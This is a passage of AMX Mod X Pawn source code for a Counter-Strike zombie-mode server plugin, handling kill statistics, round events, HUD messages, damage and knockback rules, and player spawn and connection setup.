		bool:victimValid = false, bool:victimBOT = false, bool:killerBOT = false;
	//lcheck();

	Killer = read_data(1);
	Victim = read_data(2);
	headShot = bool:read_data(3);
	read_data(4, Weapon, charsmax(Weapon));
	ucfirst(Weapon);
	timeNow = get_systime();
	killerValid = isValidPlayer(Killer);
	victimValid = isValidPlayer(Victim);
	killerBOT = killerValid && is_user_bot(Killer) ? true : false;
	victimBOT = victimValid && is_user_bot(Victim) ? true : false;

	/**
	* Committed suicide with weapon, Killer is valid.
	*/
	if (Killer == Victim && killerValid && !killerBOT)
	{
		get_user_ip(Victim, victimIp, charsmax(victimIp), 1 /** No port. */);

		g_Deaths[Victim]++;
		g_Seen[Victim] = timeNow;
		format_time(g_seenString[Victim], charsmax(g_seenString[]), Date_Format);
		formatex(g_Ip[Victim], charsmax(g_Ip), "%s", victimIp);
		g_Score[Victim] -= Score_For_Suicide;
		g_kpdRatio[Victim] = computeKpdRatio(Victim);
		g_kmdValue[Victim] = computeKmdValue(Victim);

		updateRank(Victim);
	}

	/**
	* Committed suicide by world, Killer is not a player.
	*/
	else if (victimValid && !victimBOT && !killerBOT && \
		(!killerValid || equali(Weapon, "World", 5 /** May be "WorldSpawn". */)))
	{
		get_user_ip(Victim, victimIp, charsmax(victimIp), 1 /** No port. */);

		g_Deaths[Victim]++;
		g_Seen[Victim] = timeNow;
		format_time(g_seenString[Victim], charsmax(g_seenString[]), Date_Format);
		formatex(g_Ip[Victim], charsmax(g_Ip), "%s", victimIp);
		g_Score[Victim] -= Score_For_Suicide;
		g_kpdRatio[Victim] = computeKpdRatio(Victim);
		g_kmdValue[Victim] = computeKmdValue(Victim);

		updateRank(Victim);
	}

	/**
	* Normal kill.
	*/
	else if (killerValid && victimValid && !killerBOT && !victimBOT)
	{
		get_user_ip(Victim, victimIp, charsmax(victimIp), 1 /** No port. */);
		get_user_ip(Killer, killerIp, charsmax(killerIp), 1 /** No port. */);

		g_Deaths[Victim]++;
		g_Kills[Killer]++;

		if (headShot)
		{
			g_headShots[Killer]++;

			g_Score[Killer] += Score_For_Head_Shot;
		}

		else
		{
			g_Score[Killer] += Score_For_Kill;
		}

		g_Seen[Victim] = timeNow;
		g_Seen[Killer] = timeNow;
		format_time(g_seenString[Victim], charsmax(g_seenString[]), Date_Format);
		format_time(g_seenString[Killer], charsmax(g_seenString[]), Date_Format);
		formatex(g_Ip[Victim], charsmax(g_Ip), "%s", victimIp);
		formatex(g_Ip[Killer], charsmax(g_Ip), "%s", killerIp);
		g_Score[Victim] -= Score_For_Death;
		g_kpdRatio[Victim] = computeKpdRatio(Victim);
		g_kpdRatio[Killer] = computeKpdRatio(Killer);
		g_kmdValue[Victim] = computeKmdValue(Victim);
		g_kmdValue[Killer] = computeKmdValue(Killer);

		updateRank(Victim);
		updateRank(Killer);

	}
}

public zRoundEnded (  )
{
	for ( new id = 1; id <= MaxPlayers; id ++ )
	{
		if ( task_exists ( id ) ) remove_task ( id );

		if ( task_exists ( id + TASK_REGENERATION ) ) remove_task ( id + TASK_REGENERATION );

		if ( PlantedMines [id] )
	         {
		         fwRemoveMinesByOwner ( id );

		 	PlantedMines [id] = 0;
	 	}
	}

	if ( ModeNemesis ) ModeNemesis = false;

	if ( ModeAssassin )
	{
		set_lights ( "d" );

		ModeAssassin = false;
	}

	if ( ModeSurvivor ) ModeSurvivor = false;

	if ( ModeSniper ) ModeSniper = false;
}

public evNewRound (  )
{
	remove_task ( TASK_ID );
	remove_task ( TASK_WELCOMEMSG );
	remove_task ( TASK_MAKEZOMBIE );

	/* ---------- | Remove Extra-Items | ---------- */

	for ( new id = 1; id <= MaxPlayers; id ++ )

	LastRocket [id] = iTime + 14.0;

	arrayset ( iBlinks, 0, 33 );
	arrayset ( Shot, 0, 33 );
	arrayset ( HasUnlimitedClip, 0, 33 );
	arrayset ( MultiJumps, 0, 33 );
	arrayset ( IsTryder, 0, 33 );
	arrayset ( HasTripMines, 0, 33 );

	RemoveJetpacks (  )

	CountDown = 11;

	set_task ( 4.0, "CheckCountDown", TASK_ID );

	set_task ( 0.1, "RemoveStuff" );

	NewRound = true;

	EndRound = false;

	NemesisRound = false;

	AssassinRound = false;

	SurvivorRound = false;

	SniperRound = false;

	SwarmRound = false;

	ArmageddonRound = false;

	ApocalypseRound = false;

	NightmareRound = false;

	PlagueRound = false;

	ModeStarted = false;

	FreezeTime = true;

	set_task ( 1.0, "SendWelcomeMessage", TASK_WELCOMEMSG );
}

public evResetHud ( id )
{
	message_begin ( MSG_ONE, get_user_msgid ( "HideWeapon" ), _, id );
	write_byte ( 1<<5 )
	message_end (  );
}

public CheckCountDown (  )
{
	new DownSpeak [11] [] =
	{
		"",
		"fvox/one.wav",
		"fvox/two.wav",
		"fvox/three.wav",
		"fvox/four.wav",
		"fvox/five.wav",
		"fvox/six.wav",
		"fvox/seven.wav",
		"fvox/eight.wav",
		"fvox/nine.wav",
		"fvox/ten.wav"
	};

	if ( CountDown > 1 )
	{
		if ( CountDown > 5 )
		{
			EmitSound ( 0, CHAN_VOICE, DownSpeak [CountDown -1] );

			set_hudmessage ( 179, 0, 0, -1.0, 0.28, 2, 0.02, 1.0, 0.01, 0.1, 10);

			ShowSyncHudMsg ( 0, HudMsgSync [0], "Infection in %i", CountDown - 1 );
		}
		else
		{
			EmitSound ( 0, CHAN_VOICE, DownSpeak [CountDown -1] );

			set_hudmessage ( 179, 0, 0, -1.0, 0.28, 2, 0.02, 1.0, 0.01, 0.1, 10);

			ShowSyncHudMsg ( 0, HudMsgSync [0], "Infection in %i", CountDown - 1 );
		}

		CountDown --;

		set_task ( 1.0, "CheckCountDown", TASK_ID );

	}
	else if ( CountDown <= 1 )
	{
		remove_task ( TASK_ID );

		set_task ( 0.6, "MakeZombieTask", TASK_MAKEZOMBIE );
	}
}

public AmbienceEffects (  )
{
	for ( new i = 1; i <= MaxPlayers; i ++ )
	{
		if ( is_user_alive ( i ) )
		{
			ScreenShakeEffect ( i, 2.5 );

			ScreenFadeEffect ( i, 0.5, 0, 120, 240, 160 );
		}
	}
}

public ScreenShakeEffect ( id, const Float: Seconds )
{
	message_begin ( MSG_ONE_UNRELIABLE, get_user_msgid ( "ScreenShake" ), {0, 0, 0}, id )
	write_short ( floatround ( 4096.0 * Seconds, floatround_round ) );
	write_short ( floatround ( 4096.0 * Seconds, floatround_round ) );
	write_short ( 1<<13 );
	message_end (  );
}

public ScreenFadeEffect ( id, const Float: Seconds, const Red, const Green, const Blue, const Alpha )
{
	message_begin ( MSG_ONE_UNRELIABLE, get_user_msgid ( "ScreenFade" ), _, id );
	write_short ( floatround ( 4096.0 * Seconds, floatround_round ) );
	write_short ( floatround ( 4096.0 * Seconds, floatround_round ) );
	write_short ( 0x0000 );
	write_byte ( Red );
	write_byte ( Green );
	write_byte ( Blue );
	write_byte ( Alpha );
	message_end (  );
}

public evShowStatus ( id )
{
	if ( !IsBot [id] && IsConnected [id] )
	{
		static AimID; AimID = read_data ( 2 );

		if ( IsZombie [id] == IsZombie [AimID] )
		{
			static Class [ 32], Red, Green, Blue;

			if ( IsZombie [id] )
			{
				Red = 255;

				Green = 140;

				Blue = 40;

				if ( IsNemesis [AimID] )

					formatex ( Class, charsmax ( Class ), "Nemesis" );

				else if ( IsAssassin [AimID] )

					formatex ( Class, charsmax ( Class ), "Assassin" );
				else
					copy ( Class, charsmax ( Class ), ZombieClassName [id] );
			}
			else
			{
				Red = 20;

				Green = 135;

				Blue = 255;

				if ( IsSurvivor [AimID] )

					formatex ( Class, charsmax ( Class ), "Survivor");

				else if ( IsSniper [AimID] )
					formatex ( Class, charsmax ( Class ), "Sniper ");
				else
					formatex ( Class, charsmax ( Class ), "Human" );
			}


			static HealthString [16], ArmorString [16], PacksString [16], points[32];

			AddCommas ( pev ( AimID, pev_health ), HealthString, charsmax ( HealthString ) );

			AddCommas ( pev ( AimID, pev_armorvalue ), ArmorString, charsmax ( ArmorString ) );

			AddCommas ( AmmoPacks [AimID], PacksString, charsmax ( PacksString ) );

			AddCommas ( g_iPoints[AimID], points, 31 )

			set_hudmessage ( Red, Green, Blue, -1.0, 0.60, 0, 6.0, 1.1, 0.0, 0.0, -1 );

			ShowSyncHudMsg ( id, HudMsgSync [2], "%s^n[ Health: %s | Armor: %s | Packs: %s | Points: %s ]", \
			PlayerName [AimID], HealthString, ArmorString, PacksString, points );
		}
	}
}


public evHideStatus ( id ) ClearSyncHud( id, HudMsgSync [3] );


public ShowStatus ( id )
{
	if ( is_user_connected ( id ) && !IsZombie [id] )
	{
		static iTarget; iTarget = read_data ( 2 );

		if ( IsZombie [iTarget] )
		{
			static HealthString [16]; AddCommas ( get_user_health ( iTarget ), HealthString, charsmax ( HealthString ) );

			set_hudmessage ( 250, 4, 24, -1.0, 0.60, 1, 0.01, 3.0, 0.01, 0.01, -1 );

			ShowSyncHudMsg ( id, HudMsgSync [3], "%s^n[Health: %s]", PlayerName [iTarget], HealthString );
		}
	}
}

public HideStatus ( id ) ClearSyncHud ( id, HudMsgSync [3] );


public leRoundStart ( id  )
{
 FreezeTime = false;

 remove_ds(id)

 g_iKillsThisRound[id] = 0;
}
public leRoundEnd (  )
{
	static Float: LastEndTime, Float: CurrentTime;

	CurrentTime = get_gametime (  );

	if ( CurrentTime - LastEndTime < 0.5 ) return;

	LastEndTime = CurrentTime;

	static id, Team;

	for ( id = 1; id <= MaxPlayers; id ++ )
	{
		if ( !IsConnected [id] ) continue;

		Team = fm_cs_get_user_team ( id );

		if ( Team == FM_CS_TEAM_SPECTATOR || Team == FM_CS_TEAM_UNASSIGNED ) continue;

		SaveStats ( id );
	}

	EndRound = true;

	remove_task ( TASK_WELCOMEMSG );

	remove_task ( TASK_MAKEZOMBIE );

	remove_task ( TASK_AMBIENCESOUNDS );

	AmbienceSoundStop (  );

	static Sound [64];

	if ( !fnGetZombies (  ) )
	{
		set_hudmessage ( 20, 20, 255, -1.0, 0.17, 0, 0.0, 3.0, 2.0, 1.0, -1 );

		ShowSyncHudMsg ( 0, HudMsgSync [1], "Humans defeated the plague!" );

		ArrayGetString ( SoundWinHumans, random_num ( 0, ArraySize ( SoundWinHumans ) - 1 ), Sound, charsmax ( Sound ) );

		PlaySound ( 0, Sound );

		ScoreHumans ++;

		ExecuteForward ( fwRoundEnd, fwDummyResult, ZRISES_TEAM_HUMAN );
	}
	else if ( !fnGetHumans (  ) )
	{
		set_hudmessage ( 255, 20, 20, -1.0, 0.17, 0, 0.0, 3.0, 2.0, 1.0, -1 );

		ShowSyncHudMsg ( 0, HudMsgSync [1], "Zombies have taken over the world!" );

		ArrayGetString ( SoundWinZombies, random_num ( 0, ArraySize ( SoundWinZombies ) - 1 ), Sound, charsmax ( Sound ) );

		PlaySound ( 0, Sound );

		ScoreZombies ++;

		ExecuteForward ( fwRoundEnd, fwDummyResult, ZRISES_TEAM_ZOMBIE );
	}
	else
	{
		set_hudmessage ( 20, 255, 20, -1.0, 0.17, 0, 0.0, 3.0, 2.0, 1.0, -1 );

		ShowSyncHudMsg ( 0, HudMsgSync [1], "No one won..." );

		ArrayGetString ( SoundWinNoOne, random_num ( 0, ArraySize ( SoundWinNoOne ) - 1 ), Sound, charsmax ( Sound ) );

		PlaySound ( 0, Sound );

		ExecuteForward ( fwRoundEnd, fwDummyResult, ZRISES_TEAM_NO_ONE );
	}

	for (new i = 1; i <= MaxPlayers; i++)
	{
		if (IsConnected[i])
		{
			g_doubledamage[i] = false

		}
	}
	static iFrags;
	static iMaximumPacks;
	static iMaximumKills;
	static iPacksLeader;
	static iKillsLeader;
	iMaximumPacks = 0;
	iMaximumKills = 0;
	iPacksLeader = 0;
	iKillsLeader = 0;
	g_iVariable = 1;
	while (MaxPlayers + 1 > g_iVariable)
	{
		if (IsConnected[g_iVariable])
		{
			iFrags = get_user_frags(g_iVariable);
			if (iFrags > iMaximumKills)
			{
				iMaximumKills = iFrags;
				iKillsLeader = g_iVariable;
			}
		}
		g_iVariable += 1;
	}
	g_iVariable = 1;
	while (MaxPlayers + 1 > g_iVariable)
	{
		if (IsConnected[g_iVariable] && AmmoPacks[g_iVariable] > iMaximumPacks)
		{
			iMaximumPacks = AmmoPacks [g_iVariable];
			iPacksLeader = g_iVariable;
		}
		g_iVariable += 1;
	}
	if (IsConnected[iKillsLeader])
	{
		static a[15];
		AddCommas(iMaximumKills, a, 14);
		if (g_iKillsThisRound[iKillsLeader])
		{
			client_print_color(iKillsLeader, print_team_grey, "^x03%s^x01 is^x04 Leader^x01 with^x04 %s^x01 frags! [^x04 %d^x01 this round ]", PlayerName[iKillsLeader], a, g_iKillsThisRound[iKillsLeader]);
		}
	}
	if (IsConnected[iPacksLeader])
	{
		static a[15];
		AddCommas(iMaximumPacks, a, 14);

		client_print_color(iPacksLeader, print_team_grey, "^3%s^1 is^4 Leader^1 with^4 %s^1 packs!", PlayerName [iPacksLeader], a);
	}
	BalanceTeams (  );

	return;
}

public evIntermission (  ) remove_task ( TASK_AMBIENCESOUNDS );

public evAmmoX ( id )
{
	if ( IsZombie [id] ) return;

	static Type; Type = read_data ( 1 );

	if ( Type >= sizeof AMMOWEAPON ) return;

	static Weapon; Weapon = AMMOWEAPON [Type];

	if ( MAXBPAMMO [Weapon] <= 2 ) return;

	static Amount; Amount = read_data ( 2 );

	if ( Amount < MAXBPAMMO [Weapon] )
	{
		static Args [1]; Args [0] = Weapon;

		set_task ( 0.1, "RefillBpAmmo", id, Args, sizeof Args );
	}
}

public fmSpawn ( Entity )
{
	if ( !pev_valid ( Entity ) ) return FMRES_IGNORED;

	new ClassName [32], Objective [32], size = ArraySize ( ObjectiveEnts );

	pev ( Entity, pev_classname, ClassName, charsmax ( ClassName ) );

	for ( new i = 0; i < size; i ++ )
	{
		ArrayGetString ( ObjectiveEnts, i, Objective, charsmax ( Objective ) );

		if ( equal ( ClassName, Objective ) )
		{
			engfunc ( EngFunc_RemoveEntity, Entity );

			return FMRES_SUPERCEDE;
		}
	}
	return FMRES_IGNORED;
}

public fmPrecacheSound ( const Sound[] )
{
	if ( equal ( Sound, "hostage", 7 ) ) return FMRES_SUPERCEDE;

	return FMRES_IGNORED;
}

public fwPlayerSpawnPost ( id )
{
	if ( !is_user_alive ( id ) || !fm_cs_get_user_team ( id ) ) return;

	IsAlive [id] = true;

	if(g_vip[id] && containi(g_vip_flags[id], "S") != -1)
	{
		message_begin(MSG_BROADCAST, get_user_msgid("ScoreAttrib"))
		write_byte(id)
		write_byte(4)
		message_end()

		set_task(0.175, "makevip", id, _, _, "a", 3)
	}

	if (g_vip[id])
	set_task(1.0, "AddArmor", id);

	g_Godmode [id] = false

	g_Damage2 [id] = false

	remove_task ( id + TASK_SPAWN );
	remove_task ( id + TASK_MODEL );
	remove_task ( id + TASK_BLOOD );
	remove_task ( id + TASK_BURN );
	remove_task ( id + TASK_NVISION );

	ResetVars ( id, 0 );

	menu_display( id, g_PrimaryMenu )

	fm_set_user_health ( id, get_pcvar_num ( GetCvar [zRisesHumanHealth] ) );

	set_pev ( id, pev_gravity, get_pcvar_float ( GetCvar [zRisesHumanGravity] ) );

	if ( !NewRound && fm_cs_get_user_team ( id ) != FM_CS_TEAM_CT )
	{
		remove_task ( id + TASK_TEAM );

		fm_cs_set_user_team ( id, FM_CS_TEAM_CT );

		fm_user_team_update ( id );
	}

	static CurrentModel [32], TempModel [32], AlreadyHasModel, i, iRandom, size;

	AlreadyHasModel = false;

	fm_cs_get_user_model ( id, CurrentModel, charsmax ( CurrentModel ) );

	if ( get_user_flags ( id ) & ADMIN_RCON )
	{
		for ( i = 0; i < ArraySize ( ModelOwnerHuman ); i ++ )
		{
			ArrayGetString ( ModelOwnerHuman, i, TempModel, charsmax ( TempModel ) );

			if ( equal ( CurrentModel, TempModel ) ) AlreadyHasModel = true;
		}

		if ( !AlreadyHasModel )
		{
			iRandom = random_num ( 0 , size - 1 );

			ArrayGetString ( ModelOwnerHuman, iRandom, PlayerModel [id], charsmax ( PlayerModel [ ] ) );
		}
	}
	if ( get_user_flags ( id ) & ADMIN_RESERVATION )
	{
		for ( i = 0; i < ArraySize ( ModelAdminHuman ); i ++ )
		{
			ArrayGetString ( ModelAdminHuman, i, TempModel, charsmax ( TempModel ) );

			if ( equal ( CurrentModel, TempModel ) ) AlreadyHasModel = true;
		}

		if ( !AlreadyHasModel )
		{
			iRandom = random_num ( 0 , size - 1 );

			ArrayGetString ( ModelAdminHuman, iRandom, PlayerModel [id], charsmax ( PlayerModel [ ] ) );
		}
	}

		for ( i = 0; i < ArraySize ( ModelHuman ); i ++ )
		{
			ArrayGetString ( ModelHuman, i, TempModel, charsmax ( TempModel ) );

			if ( equal ( CurrentModel, TempModel ) ) AlreadyHasModel = true;
		}

		if ( !AlreadyHasModel )
		{
			iRandom = random_num ( 0, size - 1 );

			ArrayGetString ( ModelHuman, iRandom, PlayerModel [id], charsmax ( PlayerModel [ ] ) );
		}


	if ( !AlreadyHasModel)
	{
		if ( NewRound )

			set_task ( 1.0, "fmUserModelUpdate", id + TASK_MODEL );
		else
			fmUserModelUpdate ( id + TASK_MODEL );
	}

	fm_set_rendering ( id );

	if ( IsBot [id] )
	{
		cs_set_user_nvg ( id, 0 );

		if ( NewRound )

		         set_task ( 20.0, "BotBuyExtras", id + TASK_SPAWN );
		else
		         set_task ( 10.0, "BotBuyExtras", id + TASK_SPAWN );
	}

	static WeaponEntity;

	WeaponEntity = fmCsGetCurrentWeaponEnt ( id );

	if ( pev_valid ( WeaponEntity ) ) ReplaceWeaponModels ( id, cs_get_weapon_id ( WeaponEntity ) );

	if (g_bFrozen[id])
	{
		if(!is_user_alive(id))return

		new flags=pev(id,pev_flags)
		if (flags&FL_FROZEN)
		flags&=~FL_FROZEN,set_pev(id,pev_flags,flags)
		removefrendering(id)
	}

	fnCheckLastZombie (  );
}

public fwPlayerKilled ( Victim, Attacker, shouldgib )
{
	if ( IsAlive [Attacker] && IsZombie [Attacker] )
	{
		switch ( ZombieClass [Attacker] )
		{
			case ZCLASS_HUNTER: DoScreenFade ( Attacker, 0.60, 1.15, 255, 10, 10, 94 );
		}

		SetHamParamInteger ( 3, 2 );
	}

	IsAlive [Victim] = false;

	zp_get_gold_ak [Victim] = false;

	zp_get_gold_de [Victim] = false;

	remove_task ( Victim + TASK_HEALTH );

	if ( HasJet [Victim] )
	{
		DropJetpack ( Victim  );

		HasJet [Victim ] = 0;

		Rocket [Victim ] = false;

		FlyEnergy [Victim ] = 0;
	}


	iBlinks [Victim] = 0;

	Shot [Victim] = true

	HasUnlimitedClip [Victim] = false;

	MultiJumps [Victim] = false;

	IsTryder [Victim] = false;

	HasTripMines [Victim] = 0;

	if ( PlantedMines [Victim] )
	{
		fwRemoveMinesByOwner ( Victim );

		PlantedMines [Victim] = 0;
	}

	set_task ( 0.1, "SpecNVision", Victim );

	if ( IsZombie [Victim] || !IsZombie [Victim] )
	{
		remove_task ( Victim + TASK_BLOOD );

		remove_task ( Victim + TASK_BURN );
	}

	if ( is_user_connected ( Victim ) && is_user_connected ( Attacker )!=Victim )
	{
		if (IsZombie[Attacker])
		{
			g_iPoints[Attacker]++
			SavePoints(Attacker)
		}

        if (IsSniper[Attacker])
        {
            if (random_num(1, 4) == 1)
            {
				g_iPoints[Attacker] += 1;
                set_hudmessage(255, 180, 30, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
                ShowSyncHudMsg ( Victim, HudMsgSync [1], "== SNIPER ==^n!!!Randomly got +1 point!!!^n[25% chance per zombie]");
            }
        }
		else
		{
			if (IsSniper[Attacker])
			{
				g_iPoints[Attacker]++
				SavePoints(Attacker)
			}

			else
			{
				g_iPoints[Attacker]+=2
				SavePoints(Attacker)
			}
		}

		if ( ( IsNemesis [Attacker] || IsNemesis [Victim] ) || ( IsAssassin [Attacker] || IsAssassin [Victim] ) )

			SetHamParamInteger ( 3, 2 );

		if ( IsSniper [Attacker] && CurrentWeapon [Attacker] == CSW_AWP )
		{
			SetHamParamInteger ( 3, 2 );

			static Origin [3]; get_user_origin ( Victim, Origin );

			message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );

			write_byte ( TE_LAVASPLASH ) ;

			write_coord ( Origin [0] );

			write_coord ( Origin [1] );

			write_coord ( Origin [2] - 26 );

			message_end (  );
		}
	}

	static SelfKill; SelfKill = ( Victim == Attacker || !is_user_valid_connected ( Attacker ) ) ? true : false;

	if ( SelfKill ) return;

	if ( IsZombie [Attacker] || IsNemesis [Attacker] || IsAssassin [Attacker] || IsSniper [Attacker] )

	AmmoPacks [Attacker] += get_pcvar_num ( GetCvar [zRisesAmmoInfect] );

	if (g_bFrozen [ Victim ] )
	{
		new flags=pev(Victim,pev_flags)
		if (flags&FL_FROZEN)
		flags&=~FL_FROZEN,set_pev(Victim,pev_flags,flags)
		removefrendering(Victim)
	}

	if (IsAlive [Attacker] )
	{
		if (IsNemesis[Attacker]||IsAssassin[Attacker]||IsSniper[Attacker])

		SetHamParamInteger ( 3 , 2 )
	}

	g_iKillsThisRound[Attacker]++;
}

public fwClientUserInfoChanged ( id, Buffer )
{
	if ( !is_user_connected ( id ) ) return FMRES_IGNORED;

	static NewName [32];

	engfunc ( EngFunc_InfoKeyValue, Buffer, "name", NewName, charsmax ( NewName ) );

	if ( equal ( NewName, PlayerName [id] ) ) return FMRES_IGNORED;

	PlayerName [id] = NewName;

	return FMRES_IGNORED;
}

stock DoScreenFade ( id, Float: FadeTime, Float: HoldTime, Red, Green, Blue, Alpha )
{
   	static MsgScreenFade;

   	if ( !MsgScreenFade ) { MsgScreenFade = get_user_msgid ( "ScreenFade" ); }

   	new Fade, Hold;

   	Fade = clamp ( floatround ( FadeTime * float (1<<12) ), 0, 0xFFFF );

	Hold = clamp ( floatround ( HoldTime * float (1<<12) ), 0, 0xFFFF );

      	message_begin ( MSG_ONE_UNRELIABLE, MsgScreenFade, _, id );

	write_short ( Fade );

	write_short ( Hold );

	write_short ( 0x0000 );

	write_byte ( Red );

	write_byte ( Green );

	write_byte ( Blue );

	write_byte ( Alpha );

	message_end (  );
}

public fwPlayerKilledPost (  ) fnCheckLastZombie (  );

public fwTakeDamage ( Victim, Inflictor, Attacker, Float:Damage, DamageType )
{
	if ( Victim == Attacker || !is_user_valid_connected ( Attacker ) ) return HAM_IGNORED;

	if ( NewRound || EndRound ) return HAM_SUPERCEDE;

	if ( NoDamage [Victim] ) return HAM_SUPERCEDE;

	if ( IsZombie [Attacker] == IsZombie [Victim] ) return HAM_SUPERCEDE;

	if ( !IsZombie [Attacker] )
	{
		if ((CurrentWeapon [Attacker] == CSW_AK47 || CurrentWeapon [Attacker] == CSW_DEAGLE) && (zp_get_gold_ak [Attacker] || zp_get_gold_de [Attacker]))
		{
			Damage *= 1.5;
			SetHamParamFloat(4, Damage);
		}

		if (g_Damage2[Attacker])
		{
			Damage *= 2.0;

			SetHamParamFloat(4, Damage);
		}

		if (g_vip[Attacker] && containi(g_vip_flags[Attacker], "D")!=-1)
		{
			Damage *= 1.15;

			SetHamParamFloat(4, Damage);
		}

		if ( !IsNemesis [Victim] && !IsAssassin [Victim] && !IsSniper [Attacker] )
		{
			Damage *= get_pcvar_float ( GetCvar [zRisesZombieArmor] );

			SetHamParamFloat ( 4, Damage );
		}

		if ( !IsSniper [Attacker] )
		{
			DamageDealt [Attacker] += floatround ( Damage );

			while ( DamageDealt [Attacker] > get_pcvar_num ( GetCvar [zRisesAmmoDamage] ) )
			{
				AmmoPacks [Attacker] ++;

				DamageDealt [Attacker] -= get_pcvar_num ( GetCvar [zRisesAmmoDamage] );
			}
		}

		if ( IsSniper [Attacker] && CurrentWeapon [Attacker] == CSW_AWP )

			SetHamParamFloat ( 4, get_pcvar_float ( GetCvar [zRisesSniperDamage] ) );

		return HAM_IGNORED;
	}

	if ( DamageType & 1<<24 ) return HAM_SUPERCEDE;

	if ( IsNemesis [Attacker] )
	{
		if ( Inflictor == Attacker ) SetHamParamFloat ( 4, get_pcvar_float ( GetCvar [zRisesNemesisDamage] ) );

		return HAM_IGNORED;
	}
	else if ( IsAssassin [Attacker] )
	{
		if ( Inflictor == Attacker ) SetHamParamFloat ( 4, get_pcvar_float ( GetCvar [zRisesAssassinDamage] ) );

		return HAM_IGNORED;
	}

	if ( NemesisRound || AssassinRound || SurvivorRound || SniperRound || SwarmRound || PlagueRound || ArmageddonRound || ApocalypseRound || NightmareRound || fnGetHumans (  ) == 1 ) return HAM_IGNORED;

	static Float: Armor; pev ( Victim, pev_armorvalue, Armor );

	if ( Armor > 0.0 )
	{
		EmitSound ( Victim, CHAN_BODY, "player/bhit_helmet-1.wav" );

		set_pev ( Victim, pev_armorvalue, floatmax ( 0.0, Armor - Damage ) );

		return HAM_SUPERCEDE;
	}

	UserZombie ( Victim, Attacker, 0, 0, 0, 1 );

	g_iPoints[Attacker]++

	SavePoints(Attacker)

	return HAM_SUPERCEDE;
}

public fwTakeDamagePost ( Victim )set_pdata_float ( Victim, 108, 1.0, 5 );


public fw_traceattack(victim, attacker, Float:damage, direction[3], traceresult, dmgbits)
{
	if(using_item[attacker])
	{
		set_tr2(traceresult, TR_iHitgroup, HIT_HEAD)
	}
}

public fwTraceAttack(iVictim, iAttacker, Float:fDamage, Float:fDirection[3], iTracehandle, iDamage_Type)
{
	if (iVictim == iAttacker || !is_user_valid_connected ( iAttacker ))
	{
		return;
	}


	if ( IsZombie [iAttacker] == IsZombie [iVictim] )
	{
		return;
	}

	if (!(iDamage_Type & DMG_BULLET))
	{
		return;
	}


	if (fDamage <= 0.0 || GetHamReturnStatus() == HAM_SUPERCEDE || get_tr2(iTracehandle, TR_pHit) != iVictim)
	{
		return;
	}


	if (IsNemesis[iVictim] && KNOCBACK_NEMESIS == 0.0)
	{
		return;
	}


	if (IsAssassin[iVictim] && KNOCBACK_ASSASSIN == 0.0)
	{
		return;
	}


	new iDucking = pev(iVictim, pev_flags) & (FL_DUCKING | FL_ONGROUND) == (FL_DUCKING | FL_ONGROUND);


	if (iDucking && KNOCKBACK_DUCKING == 0.0)
	{
		return;
	}


	static iOrigin1[3];
	static iOrigin2[3];

	get_user_origin(iVictim, iOrigin1);
	get_user_origin(iAttacker, iOrigin2);


	if (get_distance(iOrigin1, iOrigin2) > KNOCBACK_DISTANCE)
	{
		return ;
	}


	static Float:fVelocity[3];

	pev(iVictim, pev_velocity, fVelocity);


	#if defined KNOCBACK_DAMAGE

		xs_vec_mul_scalar(fDirection, fDamage, fDirection);

	#endif


	new iAttacker_Weapon = get_user_weapon(iAttacker);


	#if defined KNOCBACK_POWER

	if (g_fKnockback_Weapon_Power[iAttacker_Weapon] > 0.0)
	{
		xs_vec_mul_scalar(fDirection, g_fKnockback_Weapon_Power[iAttacker_Weapon], fDirection);
	}

	#endif


	if (iDucking)
	{
		xs_vec_mul_scalar(fDirection, KNOCKBACK_DUCKING, fDirection);
	}


	if (IsNemesis[iVictim])
	{

		xs_vec_mul_scalar(fDirection,  KNOCBACK_NEMESIS, fDirection);
	}

	else if (IsAssassin[iVictim])
	{

		xs_vec_mul_scalar(fDirection, KNOCBACK_ASSASSIN, fDirection);
	}

	#if defined KNOCBACK_OBEY_CLASS

		xs_vec_mul_scalar ( fDirection, ZombieKnockback [iVictim], fDirection );

	#endif

	xs_vec_add(fVelocity, fDirection, fDirection);

	#if !defined KNOCBACK_ZVEL

		fDirection[2] = fVelocity[2];

	#endif

	set_pev(iVictim, pev_velocity, fDirection);
}

public fwUseStationary ( Entity, Caller, Activator, UseType )
{
	if ( UseType == 2 && is_user_valid_connected ( Caller ) && IsZombie [Caller] ) return HAM_SUPERCEDE;

	return HAM_IGNORED;
}

public fwUseStationaryPost ( Entity, Caller, Activator, UseType )
{
	if ( UseType == 0 && is_user_valid_connected ( Caller ) )

	ReplaceWeaponModels ( Caller, CurrentWeapon [Caller] )
}

public fwUsePushable (  ) return HAM_SUPERCEDE;

public fwTouchWeapon ( Weapon, id )
{
	if ( !is_user_valid_connected ( id ) ) return HAM_IGNORED;

	if ( IsZombie [id] || ( ( IsSurvivor [id] || IsSniper [id]) && !IsBot [id] ) ) return HAM_SUPERCEDE;

	return HAM_IGNORED;
}

public fwAddPlayerItem ( id, WeaponEnt )
{
	static ExtraAmmo; ExtraAmmo = pev ( WeaponEnt, pev_iuser1 );

	if ( ExtraAmmo )
	{
		static WeaponID; WeaponID = cs_get_weapon_id ( WeaponEnt );

		ExecuteHamB ( Ham_GiveAmmo, id, ExtraAmmo, AMMOTYPE [WeaponID], MAXBPAMMO [WeaponID] );

		set_pev ( WeaponEnt, pev_iuser1, 0 );
	}
}

public fwItemDeployPost ( WeaponEnt )
{
	static Owner; Owner = fm_cs_get_weapon_ent_owner ( WeaponEnt );

	static WeaponID; WeaponID = cs_get_weapon_id ( WeaponEnt );

	CurrentWeapon [Owner] = WeaponID;

	ReplaceWeaponModels ( Owner, WeaponID );

	if ( IsZombie [Owner] && !( ( 1 << WeaponID ) & ZOMBIE_ALLOWED_WEAPONS_BITSUM ) )
	{
		CurrentWeapon [Owner] = CSW_KNIFE;

		engclient_cmd ( Owner, "weapon_knife" );
	}
}


public wpn_gi_reset_weapon ( id ) ReplaceWeaponModels ( id, CSW_KNIFE );

public client_putinserver ( id )
{
	IsConnected [id] = true;

	LoadStats ( id );

	loadPoints ( id );

	Fly [id] = false;

	zp_get_gold_ak [id] = false;

	zp_get_gold_de [id] = false;

	Rocket [id] = false;

	HasJet [id] = 0;

	g_iKillsThisRound [id] = 0;

	FlyEnergy [id] = 0;

	ResetVars ( id, 1 );

	TaskReward [id] = 600;

	static UserIp [16], Country [44], City[44];

	get_user_ip ( id, UserIp, charsmax ( UserIp ) );

	geoip_country_ex ( UserIp, Country, charsmax ( City ) );

	geoip_city ( UserIp, City, charsmax ( City ) );

